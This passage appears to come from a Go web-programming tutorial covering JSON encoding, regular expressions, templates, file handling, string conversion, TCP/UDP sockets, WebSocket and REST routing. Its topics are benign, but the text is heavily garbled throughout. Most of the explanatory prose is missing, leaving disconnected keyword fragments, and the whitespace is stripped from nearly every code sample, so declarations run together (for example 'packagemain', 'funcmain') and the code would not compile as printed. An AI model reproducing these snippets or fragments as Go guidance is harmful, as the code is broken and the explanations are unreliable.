7.2JSONJSONJavascriptObjectNotationCJSONXMLXMLJSONJSONXMLJSONJSONWebGoJSONGoJSONJSON/

JSON

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

JSONgojsonJSON/

JSON

JSONJSONGoJSON

funcUnmarshal(data[]byte,vinterface{})error

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}

jsonsliceJSONKEYjsonstructJSONkey Foo

tagFoostruct()Foo

FOOFoO

JSONJSON

interface

JSON

interface{}jsonJSONmap[string]interface{}[]interface{}JSONGoJSON

boolJSONbooleans,float64JSONnumbers,stringJSONstring,nilJSONnull,

JSON

b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

interface{}

varfinterface{}err:=json.Unmarshal(b,&f)

fmapkeystringinterface{]

f=map[string]interface{}{

"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}

m:=f.(map[string]interface{})

fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}

interface{}typeassertJSON

bitly simplejsonJSON

js,err:=NewJson([]byte(`{"test":{

"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))

arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()

JSON https://github.com/bitly/go-simplejson

JSON

JSONJSON Marshal

funcMarshal(vinterface{})([]byte,error)

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}fmt.Println(string(b))}

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

JSONstructtag

typeServerstruct{ServerNamestring`json:"serverName"`ServerIPstring`json:"serverIP"`}

typeServerslicestruct{Servers[]Server`json:"servers"`}

JSONJSON

JSONstructtag

tag "-"JSONtagJSONserverNametag"omitempty"JSONbool,string,int,int65tag ",string"JSONJSON

typeServerstruct{//IDJSONIDint`json:"-"`

//ServerName2JSONServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`

//ServerIPJSONServerIPstring`json:"serverIP,omitempty"`}

s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)

{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}

Marshal

JSONstringkeymapmap[string]T(TGo)Channel,complexfunctionJSONJSONnull

GojsonJSON go-simplejsonWeb

links

: XML:

7.3Web

GoregexpGoGoRE2\Chttp://code.google.com/p/re2/wiki/Syntax

strings(ContainsIndex)(Replace)(SplitJoin)strings

UTF-8Go regexp

regexptruefalse

funcMatch(patternstring,b[]byte)(matchedbool,errorerror)funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)

patterntrueerrorbytesliceRuneReaderstring

IP

funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}

returntrue}

regexppattern

funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("" )}else{fmt.Println("" )}}

Match(Reader|String)

Match

packagemain

import("fmt""io/ioutil""net/http""regexp""strings")

funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")

}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}

src:=string(body)

//HTMLre,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)

//<style>re,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src=re.ReplaceAllString(src,"")

//<script>re,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")

//<>HTMLre,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")

//re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")

fmt.Println(strings.TrimSpace(src))}

CompileRegexpRegexp

funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp

CompilePOSIXCompilePOSIXPOSIXCompile([a-z]{2,4}"aa09aaa88aaaa"CompilePOSIXaaaaCompileaa)MustpanicMust

Regexpstruct

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]stringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]intfunc(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

18(byteslicestringio.RuneReader)

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

packagemain

import("fmt""regexp")

funcmain(){a:="IamlearningGolanguage"

re,_:=regexp.Compile("[a-z]{2,4}")

//one:=re.Find([]byte(a))fmt.Println("Find:",string(one))

//slicen0

all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)

//indexindex:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)

//indexnallindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)

re2,_:=regexp.Compile("am(.*)lang(.*)")

//Submatch()()

//"amlearningGolanguage"//"learningGo"//"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}

//FindIndexsubmatchindex:=re2.FindSubmatchIndex([]byte(a))fmt.Println(submatchindex)

//FindAllSubmatchsubmatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)

//FindAllSubmatchIndexindexsubmatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}

RegexpRegexp

func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool

func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string

Expand

func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte

Expand

funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}

GoregexpGo

links

: Json:

7.4

MVCModelViewControllerViewHTMLJSP <%=....=%>PHP <?php.....?>

7.1

Web

Go

Go template ParseParseFileExecutemerge

funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//t,_=t.ParseFiles("tmpl/welcome.html",nil)//user:=GetUser()//t.Execute(w,user)//merger}

Go

ParseFilesParseParsehandlermainhttp.ResponseWriteros.Stdout os.Stdoutio.Writer

GoGo

Go {{}} {{.}}JavaC++this {{.FieldName}}

packagemain

import("html/template""os")

typePersonstruct{UserNamestring}

funcmain(){t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}

helloAstaxie

typePersonstruct{UserNamestringemailstring//}

t,_=t.Parse("hello{{.UserName}}!{{.email}}")

{{.}}fmt

{{with...}}...{{end}}{{range...}}{{end}}

{{range}}Gorange{{with}}

packagemain

import("html/template""os")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)

}

GoGo if-elsepipelineiffalse if-else

packagemain

import("os""text/template")

funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("pipelineifdemo:{{if``}}{{end}}\n" ))tEmpty.Execute(os.Stdout,nil)

tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("pipelineifdemo:{{if`anything`}}{{end}}\n" ))tWithValue.Execute(os.Stdout,nil)

tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}if{{else}}else.{{end}}\n" ))tIfElse.Execute(os.Stdout,nil)}

if-else

ifMail=="[email protected]"ifbool

pipelines

Unix pipe ls|grep"beego""beego"GopipeGo {{}}pipelinesemailXSS

{{.|html}}

emailhtmlUnix

with``range``if {{end}}Go

$variable:=pipeline

{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}

fmt @at astaxieatbeego.me

Go

typeFuncMapmap[string]interface{}

email emailDealGo EmailDealWith

t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})

EmailDealWith

funcEmailDealWith(args...interface{})string

packagemain

import("fmt""html/template""os""strings")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}

funcmain(){f1:=Friend{Fname:"minux.ma"}

f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}

Must

MustMust

packagemain

import("fmt""text/template")

funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")

template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")

fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}

ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand

Web headercontentfooterGo

{{define"" }}{{end}}

{{template"" }}

header.tmplcontent.tmplfooter.tmpl

//header.tmpl{{define"header"}}<html><head><title> </title></head><body>{{end}}

//content.tmpl{{define"content"}}{{template"header"}}<h1> </h1><ul><li>define </li><li>template </li></ul>{{template"footer"}}{{end}}

//footer.tmpl{{define"footer"}}</body></html>{{end}}

packagemain

import("fmt""os""text/template")

funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}

template.ParseFiles{{define}}map(keyvalue) ExecuteTemplateheaderfootercontentheaderfooter

s1.Execute

MVCVMC

links

::

7.5WebWebWeb()Go

os

funcMkdir(namestring,permFileMode)error

nameperm0777

funcMkdirAll(pathstring,permFileMode)error

pathastaxie/test1/test2

funcRemove(namestring)error

name

funcRemoveAll(pathstring)error

pathpath

packagemain

import("fmt""os")

funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}

funcCreate(namestring)(file*File,errError)

0666

funcNewFile(fduintptr,namestring)*File

funcOpen(namestring)(file*File,errError)

nameOpenFile

funcOpenFile(namestring,flagint,permuint32)(file*File,errError)

nameflagperm

func(file*File)Write(b[]byte)(nint,errError)

byte

func(file*File)WriteAt(b[]byte,offint64)(nint,errError)

byte

func(file*File)WriteString(sstring)(retint,errError)

string

packagemain

import("fmt""os")

funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}

func(file*File)Read(b[]byte)(nint,errError)

b

func(file*File)ReadAt(b[]byte,offint64)(nint,errError)

offb

packagemain

import("fmt""os"

)

funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}

Go

funcRemove(namestring)Error

name

links

::

7.6WebGostringsstrconv

strings

funcContains(s,substrstring)bool

ssubstrbool

fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))//Output://true//false//true//true

funcJoin(a[]string,sepstring)string

sliceasep

s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz

funcIndex(s,sepstring)int

ssep-1

fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1

funcRepeat(sstring,countint)string

scount

fmt.Println("ba"+strings.Repeat("na",2))//Output:banana

funcReplace(s,old,newstring,nint)string

soldnewn0

fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo

funcSplit(s,sepstring)[]string

sepsslice

fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]

funcTrim(sstring,cutsetstring)string

scutset

fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))//Output:["Achtung"]

funcFields(sstring)[]string

sslice

fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]

strconv

Append

packagemain

import("fmt""strconv")

funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}

Format

packagemain

import("fmt""strconv"

)

funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}

Parse

packagemain

import("fmt""strconv")funccheckError(eerror){ife!=nil{fmt.Println(e)}}funcmain(){a,err:=strconv.ParseBool("false")checkError(err)b,err:=strconv.ParseFloat("123.23",64)checkError(err)c,err:=strconv.ParseInt("1234",10,64)checkError(err)d,err:=strconv.ParseUint("12345",10,64)checkError(err)e,err:=strconv.Atoi("1023")checkError(err)fmt.Println(a,b,c,d,e)}

links

::

7.7XMLJSONXMLJSON//Web

links

:: Web

8WebWebHTTPXMLJSON

WebLinuxWindowsasp.netFreeBSDJSP

WebRESTSOAP

RESTRESTHTTPHTTPmethodWebHTTPREST8.3GoREST

SOAPW3CSOAPGoSOAPGoRPC8.4GoRPC

Go21C8.1SocketSocketHTTPGoSocketHTML5WebSocket8.2GoWebSocket

links

:: Socket

8.1SocketSocketSocketWebQQQQQQPPstreamPPstreamSocketSocketGoSocket

Socket

SocketUnixUnix"""open->write/read->close"SocketSocketI/OSocketSocketSocket()intSocketSocket

SocketSocketSOCK_STREAMSocketSOCK_DGRAMSocketTCPSocketSocketUDP

Socket

SocketPIDTCP/IP"ip""+"ipTCP/IP

8.1

TCP/IPUNIXBSDsocketUNIXSystemVTLIsocket"Socket"

Socket

SocketTCPSocketUDPSocketTCPUDPIP

IPv4

TCP/IPIPTCP/IPTCP/IPIP4(IPv4)30

IPv432232InternetIPIPIPV4IP

127.0.0.1172.122.121.111

IPv6

IPv6IPv4IPv6128IPv611000IPv6IPv4IPQoS

2002:c0e8:82e7:0:0:0:c0e8:82e7

Go IP

GonetIP

typeIP[]byte

netIP ParseIP(sstring)IPIPv4IPv6IP

packagemainimport("net""os""fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}

IPIP

TCPSocket

Gonet TCPConn

func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)

TCPConn

TCPAddrTCP

typeTCPAddrstruct{IPIPPortint}

GoResolveTCPAddr TCPAddr

funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)

net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6

addrIP"www.google.com:80""127.0.0.1:22"

TCPclient

Gonet DialTCPTCP TCPConn TCPConnTCPConn

funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)

net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6

laddrnilraddr

HTTPWebhttp

"HEAD/HTTP/1.0\r\n\r\n"

HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMTContent-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23

packagemain

import("fmt""io/ioutil""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

servicenet.ResolveTCPAddrtcpAddrtcpAddrDialTCPTCP connconn ioutil.ReadAllconn

TCPserver

TCPnetnet

funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)

DialTCP7777

packagemain

import("fmt""net""os""time")

funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue

conn.Close()//we'refinishedwiththisclient}}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

Accept forcontinue

Gogoroutine

packagemain

import("fmt""net"

"os""time")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue//we'refinishedwiththisclient}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

handleClinet gogoroutine

packagemain

import("fmt""net""os""time"

"strconv")

funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}

funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaxiumrequestlengthto128Btopreventfloodattackdeferconn.Close()//closeconnectionbeforeexitfor{read_len,err:=conn.Read(request)

iferr!=nil{fmt.Println(err)break}

ifread_len==0{break//connectionalreadyclosedbyclient}elseifstring(request)=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}

request=make([]byte,128)//clearlastreadcontent}}

funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

conn.Read() conn.SetReadDeadline() connforrequestfloodattackrequest conn.Read()append

TCP

TCP

funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)

func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error

/

func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error

TCP

net

UDPSocket

GoUDPSocketTCPSocketUDPAcceptTCPUDPUDP

funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Errorfunc(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)

UDPTCPUDP

packagemain

import("fmt""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)

}}

UDP

packagemain

import("fmt""net""os""time")

funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}

TCPUDPSocketGoSocketGoSocket

links

: Web: WebSocket

8.2WebSocketWebSocketHTML5socketFirefoxGoogleChromeSafari

WebSocket""HTTPRequest""

WebSocketJavaScriptTCPScoketWebHTTP

WebTCPWebsocketweb(push)

WebSocketURLws://wss://SSLWebSocketHTTPJavaScriptsocket

8.2WebSocket

WebSocket

WebSockethandshake"\x00""\xFF"WebSocket

WebSocket""(handshaking)

8.3WebSocketrequestresponse

"Sec-WebSocket-Key"base64

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

f7cb4ezEAl6C3wRaU6JORA==

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

sha12base64

rE91AJhfC+6JdVcVXOGJEADEJdQ=

Sec-WebSocket-Accept

Go WebSocket

GoWebSocketgo.net

gogetcode.google.com/p/go.net/websocket

WebSocketWebSocketPush

<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";

window.onload=function(){

console.log("onload");

sock=newWebSocket(wsuri);

sock.onopen=function(){console.log("connectedto"+wsuri);}

sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}

sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};

functionsend(){varmsg=document.getElementById('message').value;sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form>

<buttononclick="send();">SendMessage</button></body></html>

JSWebSocketsockWebScoketonopen

1onopen2onmessage3onerror4onclose

packagemain

import("golang.org/x/net/websocket""fmt""log""net/http")

funcEcho(ws*websocket.Conn){varerrerror

for{varreplystring

iferr=websocket.Message.Receive(ws,&reply);err!=nil{fmt.Println("Can'treceive")break}

fmt.Println("Receivedbackfromclient:"+reply)

msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)

iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")

break}}}

funcmain(){http.Handle("/",websocket.Handler(Echo))

iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}

SendReceiveSend

8.4WebSocket

WebSocketGonetHTML5WebSocketWeb

links

: Socket: REST

8.3RESTRESTfulGo

REST

REST(RepresentationalStateTransfer)2000RoyThomasFieldingHTTPRESTful

REST

ResourcesREST""""""""

URIURI

Representation

txthtmljsonxmljpgpng

URIHTTPAcceptContent-Type""

StateTransfer

HTTP

HTTPHTTPGETPOSTPUTDELETEGETPOSTPUTDELETE

RESTful

1URI23HTTP""

WebREST

REST

REST

8.5REST

RESTRESTREST

REST

8.6REST

RESTful

GoRESTRESTfulwebHTTP net/httpRESTRESTmethodRESTREST

8.7REST

RESTlevelRESTfulRESTfulRESTful DELETEPUTHTTPHTTP GETPOST

HTML GETPOSTAjax PUTDELETE

HTTP PUTDELETE PUTDELETEPOSTRESTfulPOSTHTTP

POST _methodPUTDELETERESTGoRESTfulRESTful

packagemain

import("fmt""github.com/julienschmidt/httprouter""log""net/http")

funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}

funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){

fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))}

funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}

funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}

